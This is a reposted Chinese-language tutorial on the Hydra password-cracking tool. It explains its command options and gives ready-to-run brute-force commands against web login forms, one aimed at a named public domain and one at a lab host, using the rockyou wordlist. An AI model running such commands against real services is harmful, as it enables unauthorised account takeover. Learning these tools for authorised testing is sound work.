转载:http://www.luxinzhi.com/safe/438.html
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
命令参数:
-R:继续从上一次进度接着破解
-S:大写,采用SSL链接
-s :小写,可通过这个参数指定非默认端口
-l :指定破解的用户,对特定用户破解
-L :指定用户名字典
-p :小写,指定密码破解,少用,一般是采用密码字典
-P :大写,指定密码字典
-e :可选选项,n:空密码试探,s:使用指定用户和密码试探
-C :使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M :指定目标列表文件一行一条
-o :指定结果输出文件
-f:在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t :同时运行的线程数,默认为16
-w :设置最大超时的时间,单位秒,默认是30s
-v / -V:显示详细过程
-o 可导出文件
server:目标ip
常用协议暴力破解参数格式:
1 | 破解rdp(3389): |
补充:
post方式提交,破解web登录:该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。
带参数破解如下:
1 | # hydra -l admin -P pass.lst -o ok.lst -t 1 -f www.superl.org http-post-form “index.php:name=^USER^&pwd=^PASS^:invalido” |
说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,www.superl.org是网站域名,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。后面参数是网页中对应的表单字段的name 属性,后面中的内容是表示错误猜解的返回信息提示,可以自定义。
- 域名前面不需要加http:// When using hydra, it’s not required to put http:// before the host that you’re going to attack.
- 需指定端口,用-s参数 To specify the port, please use the
-s
flag.- post请求,需要制定服务器目标文件地址如:In the POST request you have to specify the file that is going to receive the POST request (e.g. index.php, password.php, validate.php, etc.)
- 最后需要指定正确或者错误情况下的输出信息 And last, but not least, you have to specify the Success case or the Fail case.
1 | hydra -l info@test.com -P rockyou.txt -o ~/ok.lst -f site.test.lab -s 8080 http-post-form "/email/_task=login:_token=ON3n2HxDuhlMfViOmuB8fE2H5CGTd1aQ&_task=login&_action=login&_timezone=Asia%2FShanghai&_url=_task%3Dlogin&_user=^USER^&_pass=^PASS^:InvaildPassword" |
其他:
关于字典:在kali里,是默认自带了字典的,分别放在下面三个文件中:
1 | /usr/share/wordlist #常用下面的rockyou.txt |
或者利用kali自带的crunch生成字典。
关于暴力破解的扩展:https://securixy.kz/hack-faq/brute-force-vstroennymi-sredstvami-kali-linux.html/